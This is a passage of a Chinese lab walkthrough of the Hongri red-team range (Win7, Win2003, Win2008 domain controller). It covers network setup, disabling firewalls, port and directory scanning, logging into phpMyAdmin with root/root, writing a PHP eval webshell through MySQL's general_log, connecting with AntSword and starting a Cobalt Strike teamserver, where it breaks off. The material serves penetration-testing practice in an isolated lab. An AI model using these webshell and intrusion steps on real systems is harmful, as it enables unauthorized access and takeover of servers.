{"id":117667,"date":"2026-10-25T05:26:32","date_gmt":"2026-10-24T21:26:32","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/117667.html"},"modified":"2026-10-25T05:26:32","modified_gmt":"2026-10-24T21:26:32","slug":"%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%ef%bc%88win7%e3%80%81win2003%e3%80%81win2008%ef%bc%89","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/117667.html","title":{"rendered":"\u7ea2\u65e5\u9776\u573a\uff08win7\u3001win2003\u3001win2008\uff09"},"content":{"rendered":"

\u57fa\u672c\u4fe1\u606f<\/h2>\n

\u6d4b\u8bd5\u73af\u5883<\/h3>\n\n\n\n
\n

Plain Text<\/span> \u7cfb\u7edf\u73af\u5883 \u6e17\u900f\u673a：kali \u9776 \u673a：\u90e8\u7f72\u5230\u865a\u62df\u673a\u4e0a\u7684 Win7（\u8fb9\u754c\u4e3b\u673a）\u3001Win2003（\u5185\u7f51\u6210\u5458\u670d\u52a1\u5668）\u3001Win2008（\u57df\u63a7 god.org） \u7f51\u7edc：\u5916\u7f51\u4e3a NAT \u7f51\u6bb5，\u5185\u7f51\u4e3a\u4ec5\u4e3b\u673a\u7f51\u6bb5 192.168.52.0\/24<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\u4f7f\u7528\u5de5\u5177\/\u8f6f\u4ef6：<\/h3>\n\n\n\n
\n

Plain Text<\/span> Nmap<\/span>（\u7aef\u53e3\u4e0e\u670d\u52a1\u626b\u63cf\u3001MS17-010 \u6f0f\u6d1e\u63a2\u6d4b） Dirsearch（Web \u76ee\u5f55\u626b\u63cf） \u4e2d\u56fd\u8681\u5251（\u8fde\u63a5\u4e00\u53e5\u8bdd\u6728\u9a6c，\u7ba1\u7406\u6587\u4ef6\u4e0e\u865a\u62df\u7ec8\u7aef） Cobalt Strike（Beacon \u4e0a\u7ebf\u3001\u5185\u7f51\u4fe1\u606f\u6536\u96c6\u3001SOCKS \u4ee3\u7406） Metasploit（MS17-010 \u68c0\u6d4b\u4e0e\u5229\u7528\u3001psexec \u6a2a\u5411） Proxychains（\u914d\u5408 SOCKS \u4ee3\u7406\u9a8c\u8bc1\u5185\u7f51\u53ef\u8fbe\u6027） Mimikatz（\u6293\u53d6\u660e\u6587\u5bc6\u7801\u4e0e\u54c8\u5e0c\u3001\u5bfc\u51fa krbtgt\u3001\u4f2a\u9020\u9ec4\u91d1\u7968\u636e；\u901a\u8fc7 CS \u5185\u7f6e\u6a21\u5757\u548c MSF kiwi \u8c03\u7528）<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\u6d4b\u8bd5\u76ee\u7684<\/h3>\n\n\n\n
\n

Plain Text<\/span> \u672c\u6b21\u6d4b\u8bd5\u5728 VMware \u642d\u5efa\u7684\u7ea2\u65e5\u9776\u573a\u4e00\u73af\u5883\u4e2d\u8fdb\u884c，\u6309\u201c\u5916\u7f51\u6253\u70b9\u2014\u5185\u7f51\u6a2a\u5411\u2014\u57df\u6e17\u900f\u201d\u4e09\u4e2a\u9636\u6bb5\u63a8\u8fdb\u3002\u7b2c\u4e00\u9636\u6bb5\u4ece Win7 \u7684 80 \u7aef\u53e3\u5165\u624b，\u76ee\u5f55\u626b\u63cf\u53d1\u73b0 phpMyAdmin，\u7528 root\/root \u5f31\u53e3\u4ee4\u767b\u5f55\u540e\u53f0，\u501f MySQL \u7684 general_log \u628a\u4e00\u53e5\u8bdd\u6728\u9a6c\u5199\u8fdb Web \u76ee\u5f55，\u518d\u7528\u8681\u5251\u8fde\u63a5\u5e76\u4e0a\u7ebf Cobalt Strike；\u7b2c\u4e8c\u9636\u6bb5\u5728 Win7 \u4e0a\u6536\u96c6\u5185\u7f51\u4fe1\u606f\u3001\u6293\u53d6\u51ed\u636e，\u501f\u52a9\u4ee3\u7406\u96a7\u9053\u7528\u6c38\u6052\u4e4b\u84dd\u62ff\u4e0b Win2003，\u518d\u7528\u6293\u5230\u7684\u57df\u7ba1\u51ed\u636e\u6a2a\u5411\u5230 Win2008；\u7b2c\u4e09\u9636\u6bb5\u5728\u57df\u63a7\u4e0a\u6293 krbtgt \u54c8\u5e0c\u5236\u4f5c\u9ec4\u91d1\u7968\u636e，\u5b8c\u6210\u6743\u9650\u7ef4\u6301\u5e76\u6e05\u7406\u65e5\u5fd7\u3002\u901a\u8fc7\u6574\u5957\u6d41\u7a0b，\u7ec3\u4e60 Web \u5165\u53e3\u5229\u7528\u3001\u96a7\u9053\u642d\u5efa\u3001MS17-010 \u5229\u7528\u3001\u51ed\u636e\u4f20\u9012\u548c\u57df\u5185\u6743\u9650\u7ef4\u6301\u8fd9\u4e9b\u5185\u7f51\u6e17\u900f\u7684\u5e38\u89c1\u73af\u8282\u3002<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\u73af\u5883\u914d\u7f6e<\/h2>\n

1. <\/span>\u914d\u7f6e\u865a\u62df\u7f51\u7edc<\/h3>\n

（1）\u6253\u5f00 VMware Workstation，\u83dc\u5355\u680f \u7f16\u8f91 \u2192 \u865a\u62df\u7f51\u7edc\u7f16\u8f91\u5668，\u70b9\u53f3\u4e0b\u89d2\u201c\u66f4\u6539\u8bbe\u7f6e\u201d，UAC \u5f39\u7a97\u70b9\u201c\u662f\u201d\u3002<\/p>\n

（2）\u5217\u8868\u91cc\u627e\u5230 NAT \u6a21\u5f0f\u90a3\u4e00\u9879（\u901a\u5e38\u662f VMnet8），\u786e\u8ba4\u7c7b\u578b\u662f\u201cNAT \u6a21\u5f0f\u201d，\u8bb0\u4e0b\u5b83\u7684\u5b50\u7f51\u5730\u5740，Kali \u548c Win7 \u7684\u5916\u7f51\u5730\u5740\u90fd\u5728\u8fd9\u4e2a\u7f51\u6bb5\u3002<\/p>\n

（3）\u70b9\u201c\u6dfb\u52a0\u7f51\u7edc\u201d，\u9009\u4e00\u4e2a\u6ca1\u88ab\u5360\u7528\u7684\u7f16\u53f7（VMnet2，\u88ab\u5360\u4e86\u5c31\u6362 VMnet3，\u540e\u9762\u6240\u6709\u8bbe\u7f6e\u8ddf\u7740\u6539），\u7f51\u7edc\u6a21\u5f0f\u9009\u201c\u4ec5\u4e3b\u673a\u6a21\u5f0f\u201d\u3002<\/p>\n

（4）\u53d6\u6d88\u52fe\u9009\u201c\u4f7f\u7528\u672c\u5730 DHCP \u670d\u52a1\u5c06 IP \u5730\u5740\u5206\u914d\u7ed9\u865a\u62df\u673a\u201d，\u907f\u514d\u865a\u62df\u673a\u62ff\u5230\u968f\u673a\u5730\u5740\u3002<\/p>\n

（5）\u5b50\u7f51 IP \u586b 192.168.52.0，\u5b50\u7f51\u63a9\u7801 255.255.255.0\u3002<\/p>\n

（6）\u70b9\u201c\u5e94\u7528\u201d，\u518d\u70b9\u201c\u786e\u5b9a\u201d\u3002<\/p>\n

\"\"<\/p>\n

\u8fd9\u4e24\u4e2a\u7f51\u6bb5\u5206\u522b\u626e\u6f14\u201c\u5916\u7f51\u201d\u548c\u201c\u5185\u7f51\u201d：NAT \u7f51\u6bb5\u8ba9 Kali \u80fd\u6253\u5230 Win7 \u7684\u5916\u7f51\u53e3，\u4ec5\u4e3b\u673a\u7f51\u6bb5\u627f\u8f7d 192.168.52.0\/24 \u7684\u5185\u7f51\u3002Win7 \u540c\u65f6\u8e29\u5728\u4e24\u4e2a\u7f51\u6bb5\u4e0a，\u662f\u552f\u4e00\u7684\u8fb9\u754c\u4e3b\u673a\u3002<\/p>\n

2. <\/span>\u914d\u7f6e\u4e09\u53f0\u673a\u5668\u7684\u7f51\u5361\u4e0e IP<\/h3>\n

Win7（\u53cc\u7f51\u5361，\u8fb9\u754c\u4e3b\u673a）<\/p>\n

（1）\u5173\u673a\u72b6\u6001\u4e0b\u53f3\u952e\u865a\u62df\u673a \u2192 \u8bbe\u7f6e \u2192 \u7f51\u7edc\u9002\u914d\u5668：\u7b2c\u4e00\u5f20\u8bbe\u4e3a\u201cNAT \u6a21\u5f0f\u201d，\u7b2c\u4e8c\u5f20\u8bbe\u4e3a\u201c\u81ea\u5b9a\u4e49 \u2192 VMnet2\u201d\u3002<\/p>\n

（2）\u5f00\u673a\u767b\u5f55，\u8fdb\u5165 \u63a7\u5236\u9762\u677f \u2192 \u7f51\u7edc\u548c\u5171\u4eab\u4e2d\u5fc3 \u2192 \u66f4\u6539\u9002\u914d\u5668\u8bbe\u7f6e\u3002<\/p>\n

（3）NAT \u7f51\u5361 \u2192 \u5c5e\u6027 \u2192 IPv4，\u9009\u201c\u81ea\u52a8\u83b7\u5f97 IP \u5730\u5740\u201d\u201c\u81ea\u52a8\u83b7\u5f97 DNS \u670d\u52a1\u5668\u5730\u5740\u201d\u3002<\/p>\n

（4）VMnet2 \u7f51\u5361 \u2192 \u5c5e\u6027 \u2192 IPv4，\u9009\u201c\u4f7f\u7528\u4e0b\u9762\u7684 IP \u5730\u5740\u201d： IP \u5730\u5740 192.168.52.143 \u5b50\u7f51\u63a9\u7801 255.255.255.0 \u9ed8\u8ba4\u7f51\u5173\u3001DNS \u7559\u7a7a<\/p>\n

\"\"<\/p>\n

\"\"<\/p>\n

Win2003（\u5355\u7f51\u5361，\u5185\u7f51\u6210\u5458\u670d\u52a1\u5668）<\/p>\n

（1）\u8bbe\u7f6e \u2192 \u7f51\u7edc\u9002\u914d\u5668 \u2192 \u81ea\u5b9a\u4e49 \u2192 VMnet2\u3002<\/p>\n

（2）\u5f00\u673a\u767b\u5f55，IPv4 \u624b\u52a8\u914d\u7f6e： IP \u5730\u5740 192.168.52.141 \u5b50\u7f51\u63a9\u7801 255.255.255.0 \u9ed8\u8ba4\u7f51\u5173\u7559\u7a7a \u9996\u9009 DNS \u670d\u52a1\u5668 192.168.52.138<\/p>\n

\"\"<\/p>\n

Win2008（\u5355\u7f51\u5361，\u57df\u63a7）<\/p>\n

（1）\u8bbe\u7f6e \u2192 \u7f51\u7edc\u9002\u914d\u5668 \u2192 \u81ea\u5b9a\u4e49 \u2192 VMnet2\u3002<\/p>\n

（2）\u5f00\u673a\u767b\u5f55，IPv4 \u624b\u52a8\u914d\u7f6e： IP \u5730\u5740 192.168.52.138 \u5b50\u7f51\u63a9\u7801 255.255.255.0 \u9ed8\u8ba4\u7f51\u5173\u7559\u7a7a \u9996\u9009 DNS \u670d\u52a1\u5668 192.168.52.138<\/p>\n

\"\"<\/p>\n

3. <\/span>\u5173\u95ed\u9632\u706b\u5899\u5e76\u542f\u52a8\u670d\u52a1<\/h3>\n

Win7 \u548c Win2008 \u4ee5\u7ba1\u7406\u5458\u8eab\u4efd\u6253\u5f00 CMD，\u6267\u884c：<\/p>\n\n\n\n
\n

Plain Text<\/span> netsh advfirewall set allprofiles state off<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

    \n
  • netsh advfirewall：Vista \/ Server 2008 \u4e4b\u540e\u7248\u672c\u7684\u9632\u706b\u5899\u914d\u7f6e\u547d\u4ee4<\/li>\n<\/ul>\n
      \n
    • set allprofiles state off：\u628a\u57df\u3001\u4e13\u7528\u3001\u516c\u7528\u4e09\u79cd\u914d\u7f6e\u6587\u4ef6\u7684\u9632\u706b\u5899\u4e00\u6b21\u6027\u5173\u6389<\/li>\n<\/ul>\n
        \n
      • \u9776\u573a\u91cc\u5173\u9632\u706b\u5899\u662f\u4e3a\u4e86\u8ba9\u7aef\u53e3\u626b\u63cf\u548c\u6a2a\u5411\u79fb\u52a8\u4e0d\u88ab\u62e6；\u771f\u5b9e\u73af\u5883\u4e0d\u80fd\u8fd9\u4e48\u5e72，\u5e94\u8be5\u6309\u7aef\u53e3\u653e\u884c<\/li>\n<\/ul>\n

        \"\"<\/p>\n

        \"\"<\/p>\n

        Win2003 \u662f Server 2003，\u5148\u6309\u65e7\u7248\u5199\u6cd5\u6267\u884c：<\/p>\n\n\n\n
        \n

        Plain Text<\/span> netsh firewall set opmode disable<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

        \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

          \n
        • netsh firewall：Server 2003 \u4f7f\u7528\u7684\u9632\u706b\u5899\u914d\u7f6e\u547d\u4ee4<\/li>\n<\/ul>\n
            \n
          • set opmode disable：\u628a\u9632\u706b\u5899\u5207\u6362\u5230\u5173\u95ed\u72b6\u6001<\/li>\n<\/ul>\n

            \"\"<\/p>\n

            \u5b9e\u9645\u6267\u884c\u8fd4\u56de The following command was not found: firewall set opmode disable<\/span><\/span>\u3002\u8fd9\u4e0d\u662f\u62fc\u5199\u95ee\u9898，\u800c\u662f\u8fd9\u53f0 2003 \u955c\u50cf\u7684 Windows Firewall\/ICS \u670d\u52a1\u9ed8\u8ba4\u505c\u7528，netsh \u6ca1\u6709\u6ce8\u518c firewall \u4e0a\u4e0b\u6587，\u547d\u4ee4\u81ea\u7136\u4e0d\u5b58\u5728\u3002<\/p>\n

            \u7528\u670d\u52a1\u72b6\u6001\u786e\u8ba4\u4e00\u4e0b：<\/p>\n\n\n\n
            \n

            Plain Text<\/span> sc query sharedaccess<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

            \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

              \n
            • sharedaccess：Windows Firewall \u4e0e Internet Connection Sharing \u7684\u670d\u52a1\u540d<\/li>\n<\/ul>\n
                \n
              • STATE \u663e\u793a STOPPED，\u6216\u8005\u63d0\u793a\u670d\u52a1\u4e0d\u5b58\u5728，\u8bf4\u660e\u9632\u706b\u5899\u6ca1\u6709\u8fd0\u884c，\u4e5f\u5c31\u4e0d\u5b58\u5728\u8fc7\u6ee4，\u4e0d\u9700\u8981\u518d\u5904\u7406<\/li>\n<\/ul>\n

                \"\"<\/p>\n

                2003 \u7684\u9632\u706b\u5899\u5728\u8fd9\u91cc\u5df2\u7ecf\u786e\u8ba4\u662f\u672a\u8fd0\u884c\u72b6\u6001，\u540e\u9762\u7684\u7aef\u53e3\u626b\u63cf\u548c\u6a2a\u5411\u79fb\u52a8\u4e0d\u4f1a\u88ab\u5b83\u62e6\u3002<\/p>\n

                4. <\/span>\u9a8c\u8bc1\u8fde\u901a\u6027<\/h3>\n

                Kali \u4e0a\u6267\u884c：<\/p>\n\n\n\n
                \n

                Plain Text<\/span> ip a<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                  \n
                • ip a：\u5217\u51fa\u672c\u673a\u6240\u6709\u7f51\u5361\u548c\u5730\u5740<\/li>\n<\/ul>\n
                    \n
                  • \u8bb0\u4e0b NAT \u7f51\u5361（\u4e00\u822c\u662f eth0）\u7684 IP，\u672c\u6b21\u662f 192.168.10.133\u3002\u5916\u7f51\u7f51\u6bb5\u4ee5\u5b9e\u9645 ipconfig \u4e3a\u51c6，\u4e0d\u8981\u7167\u6284\u865a\u62df\u7f51\u7edc\u7f16\u8f91\u5668\u91cc\u7684\u9ed8\u8ba4\u503c\u3002<\/li>\n<\/ul>\n

                    \"\"<\/p>\n

                    Win7 \u4e0a\u6267\u884c：<\/p>\n\n\n\n
                    \n

                    Plain Text<\/span> ipconfig \/all<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                    \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                      \n
                    • ipconfig \/all：\u67e5\u770b\u6240\u6709\u7f51\u5361\u7684 IP\u3001\u63a9\u7801\u3001\u7f51\u5173\u3001DNS \u548c MAC<\/li>\n<\/ul>\n
                        \n
                      • \u91cd\u70b9\u786e\u8ba4\u4e24\u5757\u7f51\u5361\u90fd\u6709\u5730\u5740：NAT \u7f51\u5361\u662f 192.168.10.x，VMnet2 \u7f51\u5361\u662f 192.168.52.143<\/li>\n<\/ul>\n

                        \"\"<\/p>\n

                        \u4e92\u76f8ping：<\/p>\n\n\n\n
                        \n

                        Plain Text<\/span> Kali ping Win7<\/span>： ping 192.168.10.140<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                        \"\"<\/p>\n\n\n\n
                        \n

                        Plain Text<\/span> Win7 ping Kali<\/span>\u30012003\u548c2008： ping 192.168.10.133 ping 192.168.52.141 ping 192.168.52.138<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                        \n

                        \"\"<\/p>\n\n\n\n
                        \n

                        Plain Text<\/span> Win2003 <\/span>\u4e0e Win2008 \u4e92 ping \u6b63\u5e38： ping 192.168.52.141 ping 192.168.52.138<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                        \"\"<\/p>\n

                        \"\"<\/p>\n

                        5. <\/span>\u542f\u52a8Win7\u7684PhpStudy<\/h3>\n

                        \"\"<\/p>\n

                        \"\"<\/p>\n

                        \u7b2c\u4e00\u5173 \u5916\u7f51\u6253\u70b9<\/h2>\n

                        \u626b\u63cf Win7 \u7aef\u53e3\u4e0e\u670d\u52a1<\/h3>\n\n\n\n
                        \n

                        Plain Text<\/span> nmap -sV -Pn 192.168.10.140<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                        \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                          \n
                        • nmap：\u7aef\u53e3\u626b\u63cf\u4e0e\u670d\u52a1\u8bc6\u522b\u5de5\u5177<\/li>\n<\/ul>\n
                            \n
                          • -sV：\u63a2\u6d4b\u6bcf\u4e2a\u5f00\u653e\u7aef\u53e3\u4e0a\u8fd0\u884c\u7684\u670d\u52a1\u548c\u7248\u672c<\/li>\n<\/ul>\n
                              \n
                            • -Pn：\u8df3\u8fc7\u4e3b\u673a\u5b58\u6d3b\u63a2\u6d4b\u76f4\u63a5\u626b\u7aef\u53e3，Windows \u9ed8\u8ba4\u53ef\u80fd\u4e0d\u56de ICMP，\u4e0d\u52a0\u8fd9\u4e2a\u53c2\u6570\u5bb9\u6613\u628a\u5f00\u7740\u7684\u4e3b\u673a\u8bef\u5224\u6210 down<\/li>\n<\/ul>\n
                                \n
                              • 192.168.10.140：Win7 \u7684\u5916\u7f51\u5730\u5740<\/li>\n<\/ul>\n

                                \"\"<\/p>\n

                                \u5f00\u653e\u7684\u7aef\u53e3\u91cc，80 \u662f Apache httpd 2.4.23（Win32 \u6784\u5efa，PHP 5.4.45），3306 \u662f MySQL，135\u3001139\u3001445 \u4ee5\u53ca 1025-1030 \u662f Windows \u7684 RPC\u3001NetBIOS \u548c SMB \u670d\u52a1\u3002\u4ece PHP \u7248\u672c\u548c\u7aef\u53e3\u7ec4\u5408\u770b，\u8fd9\u662f phpStudy \u4e00\u7c7b\u7684\u96c6\u6210\u73af\u5883，\u7f51\u7ad9\u6839\u76ee\u5f55\u5927\u6982\u7387\u662f C:\\\\phpStudy\\\\WWW\u3002<\/p>\n

                                Web \u76ee\u5f55\u626b\u63cf<\/h3>\n

                                \"\"<\/p>\n

                                80 \u7aef\u53e3\u8fd4\u56de\u7684\u662f phpStudy \u7684\u9ed8\u8ba4\u7ad9\u70b9，\u9996\u9875\u672c\u8eab\u6ca1\u4ec0\u4e48\u529f\u80fd，\u9700\u8981\u626b\u76ee\u5f55\u627e\u540e\u53f0\u548c\u4e0a\u4f20\u70b9\u3002<\/p>\n\n\n\n
                                \n

                                Plain Text<\/span> dirsearch -u http:\/\/192.168.10.140 -e php,html -t 50<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                  \n
                                • dirsearch：\u57fa\u4e8e\u5b57\u5178\u7684 Web \u76ee\u5f55\u626b\u63cf\u5de5\u5177<\/li>\n<\/ul>\n
                                    \n
                                  • -u：\u76ee\u6807 URL，\u7ed3\u5c3e\u4e0d\u7528\u5e26\u659c\u6760<\/li>\n<\/ul>\n
                                      \n
                                    • -e php,html：\u53ea\u4fdd\u7559 php \u548c html \u540e\u7f00\u7684\u7ed3\u679c，\u51cf\u5c11\u5e72\u6270<\/li>\n<\/ul>\n
                                        \n
                                      • -t 50：50 \u4e2a\u7ebf\u7a0b\u5e76\u53d1，\u901f\u5ea6\u66f4\u5feb<\/li>\n<\/ul>\n

                                        \"\"<\/p>\n

                                        \u626b\u63cf\u7ed3\u679c\u91cc\u6709\u4e09\u4e2a 200：\/phpinfo.php（71KB，\u73af\u5883\u63a2\u9488\u9875，\u80fd\u76f4\u63a5\u770b\u5230\u7f51\u7ad9\u7edd\u5bf9\u8def\u5f84）\u3001\/phpmyadmin\/（\u6570\u636e\u5e93\u540e\u53f0\u5165\u53e3）\u3001\/shell.php（802 \u5b57\u8282）\u3002\u5176\u4f59\u5927\u91cf 403 \u662f Apache \u5bf9 .htaccess \u4e00\u7c7b\u6587\u4ef6\u7684\u62d2\u7edd，\u4e0d\u7528\u7ba1\u3002<\/p>\n

                                        phpMyAdmin \u5f31\u53e3\u4ee4\u767b\u5f55<\/h3>\n

                                        phpMyAdmin \u662f MySQL \u7684 Web \u7ba1\u7406\u7aef，\u8fd9\u5957\u73af\u5883\u91cc\u6570\u636e\u5e93\u8d26\u53f7\u76f4\u63a5\u7528\u4e86 root\/root \u8fd9\u79cd\u6700\u5f31\u7684\u7ec4\u5408\u3002<\/p>\n\n\n\n
                                        \n

                                        Plain Text<\/span> http:\/\/192.168.10.140\/phpmyadmin\/<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                        \"\"<\/p>\n

                                        \u7528\u6237\u540d root\u3001\u5bc6\u7801 root，\u767b\u5f55\u540e\u8fdb\u5165 phpMyAdmin \u4e3b\u754c\u9762，\u5de6\u4fa7\u80fd\u770b\u5230 information_schema\u3001mysql \u7b49\u7cfb\u7edf\u5e93，\u8bf4\u660e\u62ff\u5230\u7684\u662f root \u6743\u9650\u7684\u6570\u636e\u5e93\u4f1a\u8bdd\u3002<\/p>\n

                                        \u5229\u7528 MySQL \u65e5\u5fd7\u5199\u5165 Webshell<\/h3>\n

                                        phpMyAdmin \u53ea\u63d0\u4f9b\u6570\u636e\u5e93\u64cd\u4f5c，\u8981\u62ff\u7cfb\u7edf\u6743\u9650\u5f97\u5148\u5f80 Web \u76ee\u5f55\u5199\u4e00\u4e2a PHP \u6587\u4ef6\u3002\u5e38\u89c1\u7684\u4e24\u6761\u8def：INTO OUTFILE<\/span><\/span> \u548c\u5199\u65e5\u5fd7\u3002\u5148\u786e\u8ba4\u80fd\u4e0d\u80fd\u7528\u7b2c\u4e00\u6761：<\/p>\n\n\n\n
                                        \n

                                        Plain Text<\/span> show variables like '%secure_file_priv%';<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                        \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                          \n
                                        • secure_file_priv：\u63a7\u5236 MySQL \u80fd\u5426\u7528 INTO OUTFILE \u5bfc\u51fa\u6587\u4ef6<\/li>\n<\/ul>\n
                                            \n
                                          • \u503c\u4e3a NULL \u8868\u793a\u7981\u6b62\u5bfc\u51fa，\u53ea\u80fd\u6539\u8d70\u65e5\u5fd7\u5199\u5165\u8fd9\u6761\u8def<\/li>\n<\/ul>\n

                                            \"\"<\/p>\n

                                            \u67e5\u770b\u5f53\u524d\u65e5\u5fd7\u914d\u7f6e：<\/p>\n\n\n\n
                                            \n

                                            Plain Text<\/span> show variables like '%general%';<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                            \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                              \n
                                            • general_log：\u901a\u7528\u67e5\u8be2\u65e5\u5fd7\u5f00\u5173，\u5f00\u542f\u540e\u6bcf\u6761 SQL \u8bed\u53e5\u90fd\u4f1a\u88ab\u8bb0\u5f55\u5230\u65e5\u5fd7\u6587\u4ef6<\/li>\n<\/ul>\n
                                                \n
                                              • general_log_file：\u65e5\u5fd7\u6587\u4ef6\u7684\u8def\u5f84，\u628a\u5b83\u6307\u5411 Web \u76ee\u5f55\u4e0b\u7684 .php \u6587\u4ef6，\u518d\u6267\u884c\u4e00\u6761\u5e26\u6728\u9a6c\u7684\u67e5\u8be2，\u6728\u9a6c\u5c31\u4f1a\u8ddf\u7740\u65e5\u5fd7\u843d\u76d8<\/li>\n<\/ul>\n

                                                \"\"<\/p>\n

                                                \u4f9d\u6b21\u6267\u884c\u4e09\u6761 SQL：<\/p>\n\n\n\n
                                                \n

                                                Plain Text<\/span> set global general_log = 'on';<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                \n\n\n\n
                                                \n

                                                Plain Text<\/span> set global general_log_file = 'C:\/phpStudy\/WWW\/cmd.php';<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                \n\n\n\n
                                                \n

                                                Plain Text<\/span> select '<?php eval($_POST["cmd"]);?>';<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                  \n
                                                • set global general_log = 'on'：\u6253\u5f00\u901a\u7528\u67e5\u8be2\u65e5\u5fd7<\/li>\n<\/ul>\n
                                                    \n
                                                  • set global general_log_file = …：\u628a\u65e5\u5fd7\u8def\u5f84\u6539\u5230 Web \u6839\u76ee\u5f55，\u6587\u4ef6\u540d\u7528 .php，\u8fd9\u6837\u65e5\u5fd7\u5185\u5bb9\u4f1a\u88ab Apache \u5f53\u6210 PHP \u89e3\u6790<\/li>\n<\/ul>\n
                                                      \n
                                                    • select '<?php …>'：\u8fd9\u6761\u67e5\u8be2\u672c\u8eab\u4f1a\u88ab\u5199\u8fdb\u65e5\u5fd7，\u65e5\u5fd7\u91cc\u5c31\u5e26\u4e0a\u4e86\u6728\u9a6c\u4ee3\u7801<\/li>\n<\/ul>\n

                                                      \"\"<\/p>\n

                                                      \u6d4f\u89c8\u5668\u8bbf\u95eehttp:\/\/192.168.10.140\/cmd.php<\/p>\n

                                                      \u9875\u9762\u4f1a\u6253\u5370\u51faMySQL \u7684\u65e5\u5fd7\u5185\u5bb9：\u542f\u52a8\u4fe1\u606f\u3001\u6211\u4eec\u6267\u884c\u8fc7\u7684\u51e0\u6761\u67e5\u8be2，\u6700\u540e\u4e00\u884c\u662f Notice: Undefined index: cmd in C:\\\\phpStudy\\\\WWW\\\\cmd.php on line 7<\/span><\/span>\u3002\u8fd9\u6761 Notice \u672c\u8eab\u5c31\u8bc1\u660e PHP \u4ee3\u7801\u5df2\u7ecf\u88ab\u89e3\u6790\u6267\u884c，\u53ea\u662f\u6ca1\u6709\u4f20 cmd \u53c2\u6570\u3002\u6587\u4ef6\u5199\u5165\u6210\u529f\u3002<\/p>\n

                                                      \"\"<\/p>\n

                                                      \u8681\u5251\u8fde\u63a5 Webshell<\/h3>\n

                                                      \u6253\u5f00\u4e2d\u56fd\u8681\u5251，\u53f3\u952e\u7a7a\u767d\u5904 \u2192 \u6dfb\u52a0\u6570\u636e，\u586b\u5199\u8fde\u63a5\u4fe1\u606f：<\/p>\n

                                                      URL：http:\/\/192.168.10.140\/cmd.php \u5bc6\u7801：cmd \u7f16\u7801：\u9ed8\u8ba4<\/p>\n

                                                      \"\"<\/p>\n

                                                      \u70b9\u201c\u6dfb\u52a0\u201d，\u53cc\u51fb\u65b0\u5efa\u7684\u6761\u76ee，\u8fdb\u5165\u6587\u4ef6\u7ba1\u7406\u754c\u9762，\u80fd\u770b\u5230 C:\\\\phpStudy\\\\WWW \u4e0b\u7684\u6587\u4ef6\u5217\u8868\u3002<\/p>\n

                                                      \"\"<\/p>\n

                                                      \u5207\u5230\u201c\u865a\u62df\u7ec8\u7aef\u201d，\u786e\u8ba4\u5f53\u524d\u6743\u9650：<\/p>\n\n\n\n
                                                      \n

                                                      Plain Text<\/span> whoami<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                      \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                        \n
                                                      • whoami：\u67e5\u770b\u5f53\u524d Shell \u4ee5\u54ea\u4e2a\u8d26\u53f7\u8fd0\u884c<\/li>\n<\/ul>\n
                                                          \n
                                                        • \u8fd4\u56de\u503c\u51b3\u5b9a\u540e\u9762\u8981\u4e0d\u8981\u5148\u63d0\u6743，\u5982\u679c\u662f administrator \u6216 system，\u53ef\u4ee5\u76f4\u63a5\u4e0a\u4f20\u6728\u9a6c<\/li>\n<\/ul>\n

                                                          \"\"<\/p>\n

                                                          \u8fd4\u56de god\\\\administrator，\u8bf4\u660e phpStudy \u670d\u52a1\u662f\u4ee5\u57df\u7ba1\u7406\u5458\u8d26\u53f7\u542f\u52a8\u7684，Webshell \u76f4\u63a5\u7ee7\u627f\u4e86\u8fd9\u4e2a\u8eab\u4efd\u3002\u540e\u9762\u5728 Win7 \u4e0a\u6293\u51ed\u636e\u4e4b\u6240\u4ee5\u80fd\u62ff\u5230\u57df\u7ba1\u660e\u6587，\u6839\u6e90\u5c31\u5728\u8fd9\u91cc\u3002<\/p>\n

                                                          Cobalt Strike \u4e0a\u7ebf<\/h3>\n

                                                          （1）\u542f\u52a8\u670d\u52a1\u7aef：<\/p>\n\n\n\n
                                                          \n

                                                          Plain Text<\/span> sudo .\/teamserver 192.168.10.133 123456<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

